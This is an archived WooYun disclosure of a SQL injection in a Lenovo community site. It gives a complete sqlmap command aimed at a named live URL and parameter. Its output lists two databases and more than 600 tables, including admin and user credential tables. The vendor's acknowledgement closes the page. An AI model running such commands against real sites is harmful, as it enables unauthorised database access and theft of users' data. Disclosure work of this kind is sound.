当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-039448

漏洞标题:联想某站SQL注入漏洞一枚

相关厂商:联想

漏洞作者: lucky

提交时间:2013-10-12 11:39

修复时间:2013-11-26 11:39

公开时间:2013-11-26 11:39

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-12: 细节已通知厂商并且等待厂商处理中
2013-10-13: 厂商已经确认,细节仅向厂商公开
2013-10-23: 细节向核心白帽子及相关领域专家公开
2013-11-02: 细节向普通白帽子公开
2013-11-12: 细节向实习白帽子公开
2013-11-26: 细节向公众公开

简要描述:

详细说明:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://ideaclub.lenovo.com.cn/club/index.php?c=index&f=chkCity&m=store" --data "item_id=-1&item_name=" --level=5 --risk=3 --dbs


1.PNG


Database: ideaclub
[314 tables]
+---------------------------------+
| c_activity_member |
| c_asset_tbl |
| c_asset_tbl_content_tbl |
| c_comment |
| c_config |
| c_content_tbl |
| c_content_tbl_download_tbl |
| c_content_tbl_system_menu |
| c_content_tbl_template_tbl |
| c_dictionary_map |
| c_dictionary_sort |
| c_download_tbl |
| c_experience_store |
| c_expstore |
| c_goods |
| c_goods_convert |
| c_goods_img |
| c_item_tbl |
| c_item_tbl_download_tbl |
| c_keywords |
| c_member |
| c_member_action |
| c_member_action_score |
| c_member_bind |
| c_member_bind_douban |
| c_member_bind_qq |
| c_member_bind_renren |
| c_member_bind_sina |
| c_member_profile |
| c_member_score |
| c_member_verifycode |
| c_reg_user |
| c_store_products |
| c_system_function |
| c_system_menu |
| c_system_menu_function |
| c_system_menu_template_tbl |
| c_system_role |
| c_system_role_function |
| c_system_user |
| c_system_user_role |
| c_template_tbl |
| f_common_admincp_cmenu |
| f_common_admincp_group |
| f_common_admincp_member |
| f_common_admincp_perm |
| f_common_admincp_session |
| f_common_admingroup |
| f_common_adminnote |
| f_common_advertisement |
| f_common_advertisement_custom |
| f_common_banned |
| f_common_block |
| f_common_block_favorite |
| f_common_block_item |
| f_common_block_item_data |
| f_common_block_permission |
| f_common_block_pic |
| f_common_block_style |
| f_common_block_xml |
| f_common_cache |
| f_common_card |
| f_common_card_log |
| f_common_card_type |
| f_common_connect_guest |
| f_common_credit_log |
| f_common_credit_rule |
| f_common_credit_rule_log |
| f_common_credit_rule_log_field |
| f_common_cron |
| f_common_devicetoken |
| f_common_district |
| f_common_diy_data |
| f_common_domain |
| f_common_failedlogin |
| f_common_friendlink |
| f_common_grouppm |
| f_common_invite |
| f_common_magic |
| f_common_magiclog |
| f_common_mailcron |
| f_common_mailqueue |
| f_common_member |
| f_common_member_action_log |
| f_common_member_connect |
| f_common_member_count |
| f_common_member_crime |
| f_common_member_field_forum |
| f_common_member_field_home |
| f_common_member_grouppm |
| f_common_member_log |
| f_common_member_lottery |
| f_common_member_magic |
| f_common_member_medal |
| f_common_member_profile |
| f_common_member_profile_setting |
| f_common_member_security |
| f_common_member_stat_field |
| f_common_member_status |
| f_common_member_validate |
| f_common_member_verify |
| f_common_member_verify_info |
| f_common_myapp |
| f_common_myinvite |
| f_common_mytask |
| f_common_nav |
| f_common_onlinetime |
| f_common_patch |
| f_common_plugin |
| f_common_pluginvar |
| f_common_process |
| f_common_regip |
| f_common_relatedlink |
| f_common_report |
| f_common_searchindex |
| f_common_secquestion |
| f_common_session |
| f_common_setting |
| f_common_smiley |
| f_common_sphinxcounter |
| f_common_stat |
| f_common_statuser |
| f_common_style |
| f_common_stylevar |
| f_common_syscache |
| f_common_tag |
| f_common_tagitem |
| f_common_task |
| f_common_taskvar |
| f_common_template |
| f_common_template_block |
| f_common_template_permission |
| f_common_uin_black |
| f_common_usergroup |
| f_common_usergroup_field |
| f_common_word |
| f_common_word_type |
| f_connect_disktask |
| f_connect_feedlog |
| f_connect_memberbindlog |
| f_connect_postfeedlog |
| f_connect_tthreadlog |
| f_forum_access |
| f_forum_activity |
| f_forum_activityapply |
| f_forum_announcement |
| f_forum_attachment |
| f_forum_attachment_0 |
| f_forum_attachment_1 |
| f_forum_attachment_2 |
| f_forum_attachment_3 |
| f_forum_attachment_4 |
| f_forum_attachment_5 |
| f_forum_attachment_6 |
| f_forum_attachment_7 |
| f_forum_attachment_8 |
| f_forum_attachment_9 |
| f_forum_attachment_exif |
| f_forum_attachment_unused |
| f_forum_attachtype |
| f_forum_bbcode |
| f_forum_collection |
| f_forum_collectioncomment |
| f_forum_collectionfollow |
| f_forum_collectioninvite |
| f_forum_collectionrelated |
| f_forum_collectionteamworker |
| f_forum_collectionthread |
| f_forum_creditslog |
| f_forum_debate |
| f_forum_debatepost |
| f_forum_faq |
| f_forum_forum |
| f_forum_forum_threadtable |
| f_forum_forumfield |
| f_forum_forumrecommend |
| f_forum_groupcreditslog |
| f_forum_groupfield |
| f_forum_groupinvite |
| f_forum_grouplevel |
| f_forum_groupuser |
| f_forum_imagetype |
| f_forum_medal |
| f_forum_medallog |
| f_forum_memberrecommend |
| f_forum_moderator |
| f_forum_modwork |
| f_forum_onlinelist |
| f_forum_order |
| f_forum_poll |
| f_forum_polloption |
| f_forum_pollvoter |
| f_forum_post |
| f_forum_post_location |
| f_forum_post_moderate |
| f_forum_post_tableid |
| f_forum_postcache |
| f_forum_postcomment |
| f_forum_postlog |
| f_forum_poststick |
| f_forum_promotion |
| f_forum_ratelog |
| f_forum_relatedthread |
| f_forum_replycredit |
| f_forum_rsscache |
| f_forum_spacecache |
| f_forum_statlog |
| f_forum_thread |
| f_forum_thread_moderate |
| f_forum_threadaddviews |
| f_forum_threadclass |
| f_forum_threadclosed |
| f_forum_threaddisablepos |
| f_forum_threadimage |
| f_forum_threadlog |
| f_forum_threadmod |
| f_forum_threadpartake |
| f_forum_threadpreview |
| f_forum_threadrush |
| f_forum_threadtype |
| f_forum_trade |
| f_forum_tradecomment |
| f_forum_tradelog |
| f_forum_typeoption |
| f_forum_typeoptionvar |
| f_forum_typevar |
| f_forum_warning |
| f_home_album |
| f_home_album_category |
| f_home_appcreditlog |
| f_home_blacklist |
| f_home_blog |
| f_home_blog_category |
| f_home_blog_moderate |
| f_home_blogfield |
| f_home_class |
| f_home_click |
| f_home_clickuser |
| f_home_comment |
| f_home_comment_moderate |
| f_home_docomment |
| f_home_doing |
| f_home_doing_moderate |
| f_home_favorite |
| f_home_feed |
| f_home_feed_app |
| f_home_follow |
| f_home_follow_feed |
| f_home_follow_feed_archiver |
| f_home_friend |
| f_home_friend_request |
| f_home_friendlog |
| f_home_notification |
| f_home_pic |
| f_home_pic_moderate |
| f_home_picfield |
| f_home_poke |
| f_home_pokearchive |
| f_home_share |
| f_home_share_moderate |
| f_home_show |
| f_home_specialuser |
| f_home_userapp |
| f_home_userappfield |
| f_home_visitor |
| f_mobile_setting |
| f_portal_article_content |
| f_portal_article_count |
| f_portal_article_moderate |
| f_portal_article_related |
| f_portal_article_title |
| f_portal_article_trash |
| f_portal_attachment |
| f_portal_category |
| f_portal_category_permission |
| f_portal_comment |
| f_portal_comment_moderate |
| f_portal_rsscache |
| f_portal_topic |
| f_portal_topic_pic |
| f_security_evilpost |
| f_security_eviluser |
| f_security_failedlog |
| f_ucenter_admins |
| f_ucenter_applications |
| f_ucenter_badwords |
| f_ucenter_domains |
| f_ucenter_failedlogins |
| f_ucenter_feeds |
| f_ucenter_friends |
| f_ucenter_mailqueue |
| f_ucenter_memberfields |
| f_ucenter_members |
| f_ucenter_mergemembers |
| f_ucenter_newpm |
| f_ucenter_notelist |
| f_ucenter_pm_indexes |
| f_ucenter_pm_lists |
| f_ucenter_pm_members |
| f_ucenter_pm_messages_0 |
| f_ucenter_pm_messages_1 |
| f_ucenter_pm_messages_2 |
| f_ucenter_pm_messages_3 |
| f_ucenter_pm_messages_4 |
| f_ucenter_pm_messages_5 |
| f_ucenter_pm_messages_6 |
| f_ucenter_pm_messages_7 |
| f_ucenter_pm_messages_8 |
| f_ucenter_pm_messages_9 |
| f_ucenter_protectedmembers |
| f_ucenter_settings |
| f_ucenter_sqlcache |
| f_ucenter_tags |
| f_ucenter_vars |
+---------------------------------+
Database: erazer
[305 tables]
+----------------------------------+
| dev_2013vgl_record |
| dev_2013vgl_ticket |
| dev_2013vgl_ticketbj |
| dev_2013vgl_ticketsh |
| dev_2013vgl_user |
| dev_mobile |
| dev_serial |
| dev_serial0814 |
| dev_serial0826bak |
| dev_sms |
| dev_smsbak |
| dev_user |
| dev_usernew |
| dz_common_admincp_cmenu |
| dz_common_admincp_group |
| dz_common_admincp_member |
| dz_common_admincp_perm |
| dz_common_admincp_session |
| dz_common_admingroup |
| dz_common_adminnote |
| dz_common_advertisement |
| dz_common_advertisement_custom |
| dz_common_banned |
| dz_common_block |
| dz_common_block_favorite |
| dz_common_block_item |
| dz_common_block_item_data |
| dz_common_block_permission |
| dz_common_block_pic |
| dz_common_block_style |
| dz_common_block_xml |
| dz_common_cache |
| dz_common_card |
| dz_common_card_log |
| dz_common_card_type |
| dz_common_connect_guest |
| dz_common_credit_log |
| dz_common_credit_log_field |
| dz_common_credit_rule |
| dz_common_credit_rule_log |
| dz_common_credit_rule_log_field |
| dz_common_cron |
| dz_common_devicetoken |
| dz_common_district |
| dz_common_diy_data |
| dz_common_domain |
| dz_common_failedlogin |
| dz_common_friendlink |
| dz_common_grouppm |
| dz_common_invite |
| dz_common_magic |
| dz_common_magiclog |
| dz_common_mailcron |
| dz_common_mailqueue |
| dz_common_member |
| dz_common_member_action_log |
| dz_common_member_connect |
| dz_common_member_count |
| dz_common_member_crime |
| dz_common_member_field_forum |
| dz_common_member_field_home |
| dz_common_member_forum_buylog |
| dz_common_member_grouppm |
| dz_common_member_log |
| dz_common_member_magic |
| dz_common_member_medal |
| dz_common_member_newprompt |
| dz_common_member_profile |
| dz_common_member_profile_setting |
| dz_common_member_security |
| dz_common_member_stat_field |
| dz_common_member_status |
| dz_common_member_validate |
| dz_common_member_verify |
| dz_common_member_verify_info |
| dz_common_myapp |
| dz_common_myinvite |
| dz_common_mytask |
| dz_common_nav |
| dz_common_onlinetime |
| dz_common_optimizer |
| dz_common_patch |
| dz_common_plugin |
| dz_common_pluginvar |
| dz_common_process |
| dz_common_regip |
| dz_common_relatedlink |
| dz_common_report |
| dz_common_searchindex |
| dz_common_secquestion |
| dz_common_session |
| dz_common_setting |
| dz_common_smiley |
| dz_common_sphinxcounter |
| dz_common_stat |
| dz_common_statuser |
| dz_common_style |
| dz_common_stylevar |
| dz_common_syscache |
| dz_common_tag |
| dz_common_tagitem |
| dz_common_task |
| dz_common_taskvar |
| dz_common_template |
| dz_common_template_block |
| dz_common_template_permission |
| dz_common_uin_black |
| dz_common_usergroup |
| dz_common_usergroup_field |
| dz_common_visit |
| dz_common_word |
| dz_common_word_type |
| dz_connect_disktask |
| dz_connect_feedlog |
| dz_connect_memberbindlog |
| dz_connect_postfeedlog |
| dz_connect_tthreadlog |
| dz_forum_access |
| dz_forum_activity |
| dz_forum_activityapply |
| dz_forum_announcement |
| dz_forum_attachment |
| dz_forum_attachment_0 |
| dz_forum_attachment_1 |
| dz_forum_attachment_2 |
| dz_forum_attachment_3 |
| dz_forum_attachment_4 |
| dz_forum_attachment_5 |
| dz_forum_attachment_6 |
| dz_forum_attachment_7 |
| dz_forum_attachment_8 |
| dz_forum_attachment_9 |
| dz_forum_attachment_exif |
| dz_forum_attachment_unused |
| dz_forum_attachtype |
| dz_forum_bbcode |
| dz_forum_collection |
| dz_forum_collectioncomment |
| dz_forum_collectionfollow |
| dz_forum_collectioninvite |
| dz_forum_collectionrelated |
| dz_forum_collectionteamworker |
| dz_forum_collectionthread |
| dz_forum_creditslog |
| dz_forum_debate |
| dz_forum_debatepost |
| dz_forum_faq |
| dz_forum_filter_post |
| dz_forum_forum |
| dz_forum_forum_threadtable |
| dz_forum_forumfield |
| dz_forum_forumrecommend |
| dz_forum_groupcreditslog |
| dz_forum_groupfield |
| dz_forum_groupinvite |
| dz_forum_grouplevel |
| dz_forum_groupuser |
| dz_forum_hotreply_member |
| dz_forum_hotreply_number |
| dz_forum_imagetype |
| dz_forum_medal |
| dz_forum_medallog |
| dz_forum_memberrecommend |
| dz_forum_moderator |
| dz_forum_modwork |
| dz_forum_newthread |
| dz_forum_onlinelist |
| dz_forum_order |
| dz_forum_poll |
| dz_forum_polloption |
| dz_forum_polloption_image |
| dz_forum_pollvoter |
| dz_forum_post |
| dz_forum_post_location |
| dz_forum_post_moderate |
| dz_forum_post_tableid |
| dz_forum_postcache |
| dz_forum_postcomment |
| dz_forum_postlog |
| dz_forum_poststick |
| dz_forum_promotion |
| dz_forum_ratelog |
| dz_forum_relatedthread |
| dz_forum_replycredit |
| dz_forum_rsscache |
| dz_forum_sofa |
| dz_forum_spacecache |
| dz_forum_statlog |
| dz_forum_thread |
| dz_forum_thread_moderate |
| dz_forum_threadaddviews |
| dz_forum_threadcalendar |
| dz_forum_threadclass |
| dz_forum_threadclosed |
| dz_forum_threaddisablepos |
| dz_forum_threadhot |
| dz_forum_threadimage |
| dz_forum_threadlog |
| dz_forum_threadmod |
| dz_forum_threadpartake |
| dz_forum_threadpreview |
| dz_forum_threadprofile |
| dz_forum_threadprofile_group |
| dz_forum_threadrush |
| dz_forum_threadtype |
| dz_forum_trade |
| dz_forum_tradecomment |
| dz_forum_tradelog |
| dz_forum_typeoption |
| dz_forum_typeoptionvar |
| dz_forum_typevar |
| dz_forum_warning |
| dz_fx_checkin |
| dz_fx_checkin_con |
| dz_fx_checkin_log |
| dz_fx_checkin_rates |
| dz_home_album |
| dz_home_album_category |
| dz_home_appcreditlog |
| dz_home_blacklist |
| dz_home_blog |
| dz_home_blog_category |
| dz_home_blog_moderate |
| dz_home_blogfield |
| dz_home_class |
| dz_home_click |
| dz_home_clickuser |
| dz_home_comment |
| dz_home_comment_moderate |
| dz_home_docomment |
| dz_home_doing |
| dz_home_doing_moderate |
| dz_home_favorite |
| dz_home_feed |
| dz_home_feed_app |
| dz_home_follow |
| dz_home_follow_feed |
| dz_home_follow_feed_archiver |
| dz_home_friend |
| dz_home_friend_request |
| dz_home_friendlog |
| dz_home_notification |
| dz_home_pic |
| dz_home_pic_moderate |
| dz_home_picfield |
| dz_home_poke |
| dz_home_pokearchive |
| dz_home_share |
| dz_home_share_moderate |
| dz_home_show |
| dz_home_specialuser |
| dz_home_userapp |
| dz_home_userappfield |
| dz_home_visitor |
| dz_hotkey_game178 |
| dz_mobile_setting |
| dz_mpage_weibo |
| dz_portal_article_content |
| dz_portal_article_count |
| dz_portal_article_moderate |
| dz_portal_article_related |
| dz_portal_article_title |
| dz_portal_article_trash |
| dz_portal_attachment |
| dz_portal_category |
| dz_portal_category_permission |
| dz_portal_comment |
| dz_portal_comment_moderate |
| dz_portal_rsscache |
| dz_portal_topic |
| dz_portal_topic_pic |
| dz_security_evilpost |
| dz_security_eviluser |
| dz_security_failedlog |
| dz_ucenter_admins |
| dz_ucenter_applications |
| dz_ucenter_badwords |
| dz_ucenter_domains |
| dz_ucenter_failedlogins |
| dz_ucenter_feeds |
| dz_ucenter_friends |
| dz_ucenter_mailqueue |
| dz_ucenter_memberfields |
| dz_ucenter_members |
| dz_ucenter_mergemembers |
| dz_ucenter_newpm |
| dz_ucenter_notelist |
| dz_ucenter_pm_indexes |
| dz_ucenter_pm_lists |
| dz_ucenter_pm_members |
| dz_ucenter_pm_messages_0 |
| dz_ucenter_pm_messages_1 |
| dz_ucenter_pm_messages_2 |
| dz_ucenter_pm_messages_3 |
| dz_ucenter_pm_messages_4 |
| dz_ucenter_pm_messages_5 |
| dz_ucenter_pm_messages_6 |
| dz_ucenter_pm_messages_7 |
| dz_ucenter_pm_messages_8 |
| dz_ucenter_pm_messages_9 |
| dz_ucenter_protectedmembers |
| dz_ucenter_settings |
| dz_ucenter_sqlcache |
| dz_ucenter_tags |
| dz_ucenter_vars |
+----------------------------------+

漏洞证明:

修复方案:

版权声明:转载请注明来源 lucky@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-10-13 21:12

厂商回复:

感谢您对联想安全做出的贡献!我们将立即评估与修复相关漏洞

最新状态:

暂无